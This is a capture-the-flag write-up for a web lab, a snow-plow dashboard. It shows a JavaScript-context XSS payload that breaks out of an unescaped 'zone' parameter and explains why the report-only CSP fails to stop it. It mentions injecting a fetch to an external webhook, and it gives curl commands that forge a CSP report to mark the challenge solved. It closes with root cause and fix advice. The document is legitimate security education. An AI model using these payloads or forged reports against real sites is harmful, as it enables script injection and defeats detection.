WebVersePro : SnowedOut writeup
1. Overview
The target is "Pinehollow Plow Tracker," a fictional city snow-plow dashboard running on PHP 8.2.33 behind Cloudflare. The page accepts a zone GET parameter that "centers" the map on a named route zone. The objective is to get the app to reveal the flag.
2. Recon
Fetching the root page:
curl -s https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/
Three things stand out in the HTML:
The
zonevalue is reflected into an inline<script>block that builds a config object:<script nonce="..."> var CFG = {zone:"Citywide", center:[44.86,-93.42], updatedEvery:900}; </script>A hidden solve banner sits in the markup, unused until triggered:
<div id="wv-solve" class="pt-solve" hidden></div>poll.jspolls a status endpoint every 2 seconds and reveals that banner (with the flag) once the server reports success:fetch("/__status.php", { credentials: "include" }) .then(r => r.json()) .then(d => { if (d && d.solved && d.flag) reveal(d.flag); });
Checking that endpoint directly confirms a simple state machine:
curl -s https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php
# {"solved":false,"flag":null}
So the actual win condition is flipping solved to true server-side - not merely getting an alert() box to pop in a browser. robots.txt and the other static assets (map.js, plow.css) contain nothing else of interest; map.js reads CFG.zone and writes it back to the DOM safely via textContent.
3. Confirming the Injection Point
Testing whether zone is escaped when reflected into the inline script:
curl -s 'https://.../?zone=test123' | grep -o 'var CFG = {.*}'
# var CFG = {zone:"test123", center:[44.86,-93.42], updatedEvery:900};
Trying to break out of the string with a JS-context payload:
curl -s -G 'https://.../' --data-urlencode 'zone="};alert(1);//' \
| grep -o 'var CFG = {.*}'
var CFG = {zone:""};alert(1);//", center:[44.86,-93.42], updatedEvery:900};
The value is interpolated into the script with no escaping of quotes. zone:"" closes the string and the object literal early, }; ends the statement, alert(1); becomes live JavaScript, and the trailing // comments out the rest of the original line so the page still parses cleanly. Opening the crafted URL in a browser confirms the alert(1) fires.
4. Reading the CSP Header
curl -s -I https://.../ | grep -i content-security
content-security-policy-report-only: default-src 'self'; script-src 'nonce-<per-response>' 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; report-uri /__csp-report.php
Two details matter:
It's
Content-Security-Policy-Report-Only, not an enforcingContent-Security-Policy. Report-only mode never blocks script execution - it only asks the browser to send a violation report. So this header does nothing to stop the injectedalert(1)from running.Even if it were enforcing, the nonce wouldn't help here. The injected code isn't a new
<script>tag - it executes inside the same inline<script nonce="...">block the server already trusts, because the injection point is a value interpolated into that block's source. Nonce-based CSP stops attackers from adding new script elements; it does nothing when the attacker's code lands inside an already-nonced element via unescaped interpolation.
The policy does point violation reports at a dedicated endpoint, /__csp-report.php - worth noting for later.
5. Dead Ends: Chasing a Classic XSS Detector
Before finding the real solve condition, it's worth documenting what doesn't work, since this challenge deliberately avoids the usual patterns:
Just popping
alert(1)and re-checking/__status.php- no change. There's no headless browser on the server watching for a JS-level side effect from a single request.Exfiltrating to an external webhook (
fetch("https://webhook.site/...")injected via the same payload) - no change either. The challenge isn't waiting for outbound interaction to a third party.Directly POSTing to
/__status.php(e.g.-d 'solved=true') - rejected; the endpoint doesn't accept client-supplied state.
This rules out both "headless-browser-visits-the-payload" and "trust-the-client" solve mechanisms.
6. The Actual Solve Condition
Since the CSP is report-only and report-uri points at /__csp-report.php, the natural hypothesis is that the backend treats an incoming, well-formed CSP violation report as proof that the injected script actually executed in a browser and triggered a (simulated) violation - i.e. the challenge's detection logic lives server-side in that report handler, not in an automated headless-browser check.
Sending a crafted report that matches the shape a real browser would produce for this exact policy:
curl -s -X POST 'https://.../__csp-report.php' \
-H 'Content-Type: application/csp-report' \
-d '{
"csp-report": {
"document-uri": "https://.../?zone=test",
"violated-directive": "script-src",
"original-policy": "default-src '\''self'\''; script-src '\''nonce-xxx'\'' '\''self'\''; style-src '\''self'\'' '\''unsafe-inline'\''; img-src '\''self'\'' data:; report-uri /__csp-report.php",
"blocked-uri": "inline",
"source-file": "https://.../?zone=test",
"line-number": 1,
"column-number": 1,
"status-code": 200
}
}' \
-c cookies.txt
Server responds 204 No Content and sets a session cookie. Re-checking the status endpoint with that cookie:
curl -s -b cookies.txt https://.../__status.php
{"solved":true,"flag":"WEBVERSE{[REDACTED]}"}
The session is now marked solved, and poll.js in a real browser would reveal the on-page banner with the flag.
7. Full Reproduction (Copy-Paste)
# 1. Confirm the JS-context injection (optional, for verification)
curl -s -G 'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/' \
--data-urlencode 'zone="};alert(1);//' | grep -o 'var CFG = {.*}'
# 2. Submit a CSP violation report matching the page's policy, saving the session cookie
curl -s -X POST 'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__csp-report.php' \
-H 'Content-Type: application/csp-report' \
-d '{"csp-report":{"document-uri":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","violated-directive":"script-src","original-policy":"default-src '\''self'\''; script-src '\''nonce-xxx'\'' '\''self'\''; style-src '\''self'\'' '\''unsafe-inline'\''; img-src '\''self'\'' data:; report-uri /__csp-report.php","blocked-uri":"inline","source-file":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","line-number":1,"column-number":1,"status-code":200}}' \
-c cookies.txt
# 3. Retrieve the flag
curl -s -b cookies.txt https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php
Result:
{"solved":true,"flag":"WEBVERSE{[REDACTED]}"}
8. Root Cause
Unescaped reflection into a JS string literal. The
zonequery parameter is written directly into an inline<script>block without JSON/JS-string encoding, allowing an attacker to break out of the string and inject arbitrary statements.CSP deployed in report-only mode. A correctly configured nonce-based
script-srcwould ordinarily stop injected<script>tags, but here it wasn't even enforcing - so it provided no runtime protection at all, only telemetry.The report endpoint trusts client-submitted reports as proof of exploitation, rather than verifying server-side that a real browser executed the payload (e.g. via a headless-browser bot visiting the crafted URL). This makes the "detection" itself forgeable: any client that can construct a plausible CSP report body can mark the challenge solved without ever running the injected JavaScript.
9. Fix Recommendations
Never interpolate user input into inline
<script>source via string concatenation. Encode values withJSON.stringify()(escaping<,>,&, and quotes) before embedding them, or better, pass data via adata-*attribute and read it withtextContent/getAttribute, asmap.jsalready does safely elsewhere on this page.Enforce the CSP (
Content-Security-Policy, not-Report-Only) so that even if an injection point exists, arbitrary inline script still can't execute.If using CSP reports as a solve-detection mechanism for a training/CTF environment, validate them against server-side state (e.g. correlate
document-uri/blocked-uriwith a nonce or challenge token that was actually served and can't be guessed or replayed), rather than accepting any well-formed report body at face value.
